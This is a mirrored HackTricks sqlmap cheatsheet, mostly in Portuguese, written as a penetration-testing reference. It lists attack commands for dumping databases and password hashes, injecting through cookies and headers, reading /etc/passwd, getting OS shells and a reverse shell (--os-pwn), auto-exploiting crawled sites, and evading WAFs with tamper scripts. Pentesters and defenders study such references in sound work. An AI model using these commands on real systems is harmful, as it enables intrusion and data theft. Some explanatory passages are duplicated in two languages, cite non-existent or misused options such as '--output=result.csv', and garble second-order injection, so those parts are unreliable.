Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-23 19:43:31 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/sql-injection/sqlmap/README.md

407 lines
32 KiB
Markdown
Raw Blame History

# SQLMap - Cheatsheet
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference is an international cybersecurity event**](https://www.dragonjarcon.org/) with over a decade of history that will take place on September 7th and 8th, 2023 in Bogotá, Colombia. It is a highly technical event where the latest research in Spanish is presented, attracting hackers and researchers from around the world.\
Register now at the following link and don't miss this great conference!:
{% embed url="https://www.dragonjarcon.org/" %}
## Argumentos básicos para o SQLmap
### Genérico
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Recuperar Informações
#### Interno
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Dados do BD
The `--dump` option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify a particular table using the `--tables` option.
```bash
$ sqlmap -u "http://example.com/index.php?id=1" --dump
```
This command will retrieve all the data from the database and display it in the console. You can also specify the output format using the `--output` option. For example, to save the output in a CSV file, you can use the following command:
```bash
$ sqlmap -u "http://example.com/index.php?id=1" --dump --output=result.csv
```
This will save the data in a file named `result.csv`. You can then open the file in a spreadsheet program like Excel to analyze the data.
If you only want to retrieve data from a specific table, you can use the `--tables` option followed by the table name. For example, to retrieve data from the `users` table, you can use the following command:
```bash
$ sqlmap -u "http://example.com/index.php?id=1" --dump --tables users
```
This will only retrieve data from the `users` table and display it in the console.
Note that retrieving data from a database without proper authorization is illegal and unethical. Make sure you have the necessary permissions before performing any database operations.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
## Local de Injeção
### A partir da captura do Burp/ZAP
Capture a requisição e crie um arquivo req.txt
```bash
sqlmap -r req.txt --current-user
```
### Injeção de Requisição GET
A injeção de requisição GET é uma técnica comum de ataque que explora vulnerabilidades em aplicativos da web que não sanitizam corretamente os parâmetros de URL. Essa técnica permite que um invasor injete código malicioso na URL, levando a uma série de consequências prejudiciais.
O SQLMap é uma ferramenta poderosa que pode ser usada para automatizar a detecção e exploração de vulnerabilidades de injeção de SQL em aplicativos da web. Ele suporta a injeção de requisição GET, permitindo que você teste a segurança de um aplicativo e identifique possíveis pontos de entrada para ataques.
Para usar o SQLMap para a injeção de requisição GET, você precisa fornecer a URL do aplicativo alvo e o parâmetro que deseja testar. O SQLMap então enviará uma série de solicitações GET com payloads maliciosos para o aplicativo, tentando explorar a vulnerabilidade de injeção de SQL.
É importante ressaltar que a injeção de requisição GET é uma prática ilegal e só deve ser realizada com permissão explícita do proprietário do aplicativo. O uso indevido dessa técnica pode resultar em consequências legais graves.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Injeção de Requisição POST
A injeção de requisição POST é uma técnica comum de ataque que visa explorar vulnerabilidades em formulários web que utilizam o método POST para enviar dados ao servidor. Essa técnica permite que um invasor insira comandos maliciosos no corpo da requisição POST, levando a possíveis ataques de injeção de SQL.
O SQLMap é uma ferramenta poderosa que pode ser usada para automatizar a detecção e exploração de vulnerabilidades de injeção de SQL. Ele suporta a injeção de requisição POST, permitindo que você teste a segurança de um aplicativo web em busca de possíveis vulnerabilidades.
Para usar o SQLMap para a injeção de requisição POST, você precisa fornecer o URL do aplicativo web alvo, bem como os parâmetros da requisição POST que deseja testar. O SQLMap irá analisar o formulário web, identificar os parâmetros vulneráveis e tentar explorar a injeção de SQL.
É importante ressaltar que a injeção de requisição POST é uma prática ilegal e só deve ser realizada com permissão explícita do proprietário do aplicativo web. O uso indevido dessa técnica pode resultar em consequências legais graves.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injeções em Cabeçalhos e outros Métodos HTTP
When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in all areas of the application, including the headers and other HTTP methods. Injections in headers and other HTTP methods can be just as dangerous as traditional SQL injections and can lead to unauthorized access, data leakage, and other security breaches.
Durante a realização de um teste de penetração em uma aplicação web, é importante testar minuciosamente as vulnerabilidades em todas as áreas da aplicação, incluindo os cabeçalhos e outros métodos HTTP. As injeções nos cabeçalhos e outros métodos HTTP podem ser tão perigosas quanto as injeções SQL tradicionais e podem levar a acesso não autorizado, vazamento de dados e outras violações de segurança.
#### Injection in Headers
Injections in headers occur when user-supplied data is not properly validated or sanitized before being included in the headers of an HTTP request. This can allow an attacker to manipulate the headers and potentially execute malicious code or perform unauthorized actions.
As injeções nos cabeçalhos ocorrem quando os dados fornecidos pelo usuário não são devidamente validados ou sanitizados antes de serem incluídos nos cabeçalhos de uma solicitação HTTP. Isso pode permitir que um invasor manipule os cabeçalhos e potencialmente execute código malicioso ou realize ações não autorizadas.
To test for injection in headers, you can use tools like sqlmap to automate the process. Sqlmap is a powerful tool specifically designed for detecting and exploiting SQL injection vulnerabilities, but it can also be used to test for other types of injections, including injections in headers.
Para testar a injeção nos cabeçalhos, você pode usar ferramentas como o sqlmap para automatizar o processo. O sqlmap é uma ferramenta poderosa projetada especificamente para detectar e explorar vulnerabilidades de injeção SQL, mas também pode ser usada para testar outros tipos de injeções, incluindo injeções nos cabeçalhos.
#### Injection in Other HTTP Methods
Injections can also occur in other HTTP methods, such as POST, PUT, DELETE, and PATCH. These methods are commonly used for data manipulation and can be vulnerable to injections if proper input validation and sanitization are not implemented.
As injeções também podem ocorrer em outros métodos HTTP, como POST, PUT, DELETE e PATCH. Esses métodos são comumente usados para manipulação de dados e podem ser vulneráveis a injeções se a validação e a sanitização adequadas de entrada não forem implementadas.
To test for injection in other HTTP methods, you can use similar techniques as with injections in headers. Tools like sqlmap can be used to automate the process and identify potential vulnerabilities.
Para testar a injeção em outros métodos HTTP, você pode usar técnicas semelhantes às injeções nos cabeçalhos. Ferramentas como o sqlmap podem ser usadas para automatizar o processo e identificar possíveis vulnerabilidades.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indicar string quando a injeção for bem-sucedida
Sometimes, during a SQL injection attack, it is necessary to confirm whether the injection was successful or not. One way to do this is by indicating a specific string that will be displayed if the injection is successful.
To achieve this, you can use the `--string` option in SQLMap. This option allows you to specify a string that should be present in the response if the injection is successful.
For example, let's say you are injecting into a login form and you want to check if the injection was successful by looking for the string "Welcome, admin!" in the response. You can use the following command:
```
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --string "Welcome, admin!"
```
In this command, `-u` specifies the target URL, `--data` specifies the POST data, and `--string` specifies the string to look for in the response.
If the injection is successful, SQLMap will display a message indicating that the string was found. If the injection is not successful, SQLMap will display a message indicating that the string was not found.
By using the `--string` option, you can easily confirm whether the injection was successful or not during a SQL injection attack.
```bash
--string="string_showed_when_TRUE"
```
### Eval
O **Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um python oneliner. Isso torna muito fácil e rápido processar o payload de maneiras personalizadas antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
O Shell é um componente essencial para a execução de comandos no sistema operacional. Ele fornece uma interface de linha de comando para interagir com o sistema e executar tarefas. No contexto de testes de penetração, o Shell é usado para executar comandos e explorar vulnerabilidades em um sistema alvo.
O Shell é uma ferramenta poderosa para os testadores de penetração, pois permite a execução de comandos arbitrários no sistema alvo. Isso pode ser usado para obter acesso não autorizado, explorar vulnerabilidades de segurança e realizar outras atividades maliciosas.
No entanto, é importante lembrar que o uso do Shell para fins maliciosos é ilegal e antiético. Os testadores de penetração devem sempre obter permissão por escrito antes de realizar qualquer teste em um sistema. Além disso, eles devem seguir as leis e regulamentos aplicáveis e garantir que suas atividades sejam éticas e legais.
O Shell é uma ferramenta valiosa para os testadores de penetração, mas deve ser usada com responsabilidade e dentro dos limites legais e éticos.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Ler Arquivo
O comando `read` é usado para ler o conteúdo de um arquivo no sistema de arquivos do servidor. O SQLMap suporta a leitura de arquivos usando a técnica de injeção de SQL.
#### Sintaxe
A sintaxe básica para ler um arquivo usando o SQLMap é a seguinte:
```
--file-read=<caminho_do_arquivo>
```
Onde `<caminho_do_arquivo>` é o caminho completo para o arquivo que você deseja ler.
#### Exemplo
Suponha que você queira ler o conteúdo do arquivo `/etc/passwd`. Você pode usar o seguinte comando:
```
sqlmap -u <URL> --file-read=/etc/passwd
```
Isso instruirá o SQLMap a injetar uma consulta SQL que lerá o conteúdo do arquivo `/etc/passwd` e exibirá o resultado.
#### Observações
- A leitura de arquivos usando a técnica de injeção de SQL pode ser útil para obter informações confidenciais armazenadas em arquivos, como senhas, chaves de API e outras informações sensíveis.
- No entanto, tenha cuidado ao usar essa técnica, pois a leitura de arquivos pode ser ilegal e violar a privacidade e a segurança de terceiros. Certifique-se de ter permissão adequada antes de realizar qualquer teste de penetração.
```bash
--file-read=/etc/passwd
```
### Rastreando um site com o SQLmap e autoexplorando
O SQLmap é uma ferramenta poderosa para testes de penetração que automatiza a detecção e exploração de vulnerabilidades de injeção de SQL em um site. Com o SQLmap, você pode rastrear um site em busca de possíveis pontos de injeção de SQL e, em seguida, explorar automaticamente essas vulnerabilidades.
Para rastrear um site com o SQLmap, siga estas etapas:
1. Execute o SQLmap no terminal, especificando o URL do site como argumento.
```
sqlmap -u <URL do site>
```
2. O SQLmap começará a rastrear o site em busca de possíveis pontos de injeção de SQL. Ele enviará várias solicitações HTTP para o site e analisará as respostas em busca de sinais de vulnerabilidades.
3. Assim que o SQLmap encontrar um ponto de injeção de SQL, ele solicitará sua confirmação para explorar a vulnerabilidade. Você pode optar por explorar todas as vulnerabilidades encontradas ou selecionar apenas as que deseja explorar.
4. Após confirmar a exploração, o SQLmap executará automaticamente uma série de técnicas de injeção de SQL para extrair informações do banco de dados subjacente. Ele pode recuperar dados confidenciais, como nomes de usuário, senhas, informações de cartão de crédito, entre outros.
5. O SQLmap também oferece a opção de automatizar a exploração de outras vulnerabilidades além da injeção de SQL, como a execução remota de comandos.
É importante ressaltar que o uso do SQLmap em um site sem permissão prévia é ilegal e antiético. Sempre obtenha permissão por escrito do proprietário do site antes de realizar qualquer teste de penetração.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Injeção de Segunda Ordem
Second Order Injection is a type of SQL injection attack that occurs when user input is stored in a database and later used in a different context without proper sanitization. This can lead to the execution of malicious SQL statements.
A typical scenario for second order injection is when user input is stored in a database and later retrieved and used in a SQL query. If the input is not properly sanitized or validated, an attacker can manipulate the stored data to inject malicious SQL code.
For example, consider a web application that allows users to submit comments. The comments are stored in a database and later displayed on a webpage. If the application does not properly sanitize the user input before storing it in the database, an attacker can submit a comment containing malicious SQL code.
When the comment is retrieved from the database and displayed on the webpage, the malicious SQL code will be executed, potentially allowing the attacker to extract sensitive information, modify data, or even take control of the underlying database.
To prevent second order injection attacks, it is important to properly sanitize and validate user input before storing it in a database. This can be done by using parameterized queries or prepared statements, which ensure that user input is treated as data and not as executable code.
Additionally, it is recommended to implement strict input validation and output encoding to further mitigate the risk of second order injection attacks.
By understanding the concept of second order injection and implementing proper security measures, developers can protect their applications from this type of SQL injection vulnerability.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Leia este post**](second-order-injection-sqlmap.md) **sobre como realizar injeções de segunda ordem simples e complexas com o sqlmap.**
## Laboratórios para praticar
* Aprenda sobre o sqlmap usando-o na **sala THM**:
{% embed url="https://tryhackme.com/room/sqlmap" %}
## Personalizando a Injeção
### Definir um sufixo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Prefixo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Ajuda para encontrar injeção booleana
O objetivo deste guia é fornecer orientações sobre como encontrar injeções booleanas durante um teste de penetração em um aplicativo da web usando a ferramenta SQLMap.
#### O que é injeção booleana?
A injeção booleana é uma técnica de ataque que explora vulnerabilidades em aplicativos da web que não validam corretamente as entradas do usuário. Essa técnica envolve a manipulação de consultas SQL para obter informações confidenciais do banco de dados.
#### Usando o SQLMap para encontrar injeções booleanas
O SQLMap é uma ferramenta de teste de penetração automatizada que pode ser usada para detectar e explorar injeções de SQL em aplicativos da web. Para encontrar injeções booleanas, siga as etapas abaixo:
1. Execute o SQLMap no modo de detecção de injeção de SQL em um URL específico:
```
sqlmap -u <URL> --dbs --level 5 --risk 3
```
Certifique-se de substituir `<URL>` pelo URL do aplicativo da web que você está testando.
2. Analise a saída do SQLMap em busca de possíveis injeções booleanas. Procure por mensagens como "injeção booleana detectada" ou "injeção booleana bem-sucedida".
3. Se uma injeção booleana for detectada, você pode usar o SQLMap para explorá-la e extrair informações do banco de dados. Use o seguinte comando:
```
sqlmap -u <URL> -D <database> -T <table> -C <column> --dump
```
Substitua `<URL>` pelo URL do aplicativo da web, `<database>` pelo nome do banco de dados, `<table>` pelo nome da tabela e `<column>` pelo nome da coluna que você deseja extrair.
4. Analise os resultados obtidos pelo SQLMap para encontrar informações confidenciais, como nomes de usuário, senhas ou outros dados sensíveis.
#### Conclusão
A injeção booleana é uma técnica de ataque poderosa que pode ser explorada para obter informações confidenciais de um banco de dados. O SQLMap é uma ferramenta útil para detectar e explorar injeções booleanas em aplicativos da web. No entanto, é importante lembrar que o uso dessa técnica em sistemas sem permissão é ilegal e antiético. Portanto, sempre obtenha permissão antes de realizar testes de penetração em um aplicativo da web.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Manipulação
Lembre-se de que **você pode criar sua própria manipulação em python** e é muito simples. Você pode encontrar um exemplo de manipulação na [página de Injeção de Segunda Ordem aqui](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descrição |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8 |
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente de duplo unicode ilegal |
| appendnullbyte.py | Adiciona um caractere de byte NULL codificado no final do payload |
| base64encode.py | Codifica em Base64 todos os caracteres em um determinado payload |
| between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Substitui o caractere de espaço após a declaração SQL por um caractere em branco válido e aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
| chardoubleencode.py | Codifica em URL dupla todos os caracteres em um determinado payload (não processa caracteres já codificados) |
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Codifica em URL todos os caracteres em um determinado payload (não processa caracteres já codificados) |
| charunicodeencode.py | Codifica em URL Unicode os caracteres não codificados em um determinado payload (não processa caracteres já codificados). "%u0022" |
| charunicodeescape.py | Codifica em URL Unicode os caracteres não codificados em um determinado payload (não processa caracteres já codificados). "\u0022" |
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador LIKE |
| escapequotes.py | Escapa aspas (' e ") |
| greatest.py | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST' |
| halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave |
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Envolve a consulta completa com um comentário versionado |
| modsecurityzeroversioned.py | Envolve a consulta completa com um comentário de versão zero |
| multiplespaces.py | Adiciona vários espaços ao redor das palavras-chave SQL |
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) |
| percentage.py | Adiciona um sinal de porcentagem ('%') antes de cada caractere |
| overlongutf8.py | Converte todos os caracteres em um determinado payload (não processa caracteres já codificados) |
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caso aleatório |
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
| securesphere.py | Adiciona uma string especial criada |
| sp\_password.py | Adiciona 'sp\_password' ao final do payload para obfuscação automática dos logs do DBMS |
| space2comment.py | Substitui o caractere de espaço (' ') por comentários |
| space2dash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma string aleatória e uma nova linha ('\n') |
| space2hash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n') |
| space2morehash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n') |
| space2mssqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma nova linha ('\n') |
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma nova linha ('\n') |
| space2plus.py | Substitui o caractere de espaço (' ') por um sinal de adição ('+') |
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e ||) |
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
| unmagicquotes.py | Substitui o caractere de aspas (') por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final (para fazer funcionar) |
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT' |
| varnish.py | Adiciona um cabeçalho HTTP 'X-originating-IP' |
| versionedkeywords.py | Envolve cada palavra-chave não funcional com um comentário versionado do MySQL |
| versionedmorekeywords.py | Envolve cada palavra-chave com um comentário versionado do MySQL |
| xforwardedfor.py | Adiciona um cabeçalho HTTP falso 'X-Forwarded-For' |
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) é um evento internacional de segurança cibernética com mais de uma década de existência, que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico que apresenta as últimas pesquisas em espanhol e atrai hackers e pesquisadores de todo o mundo.\
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Reference in a new issue View git blame Copy permalink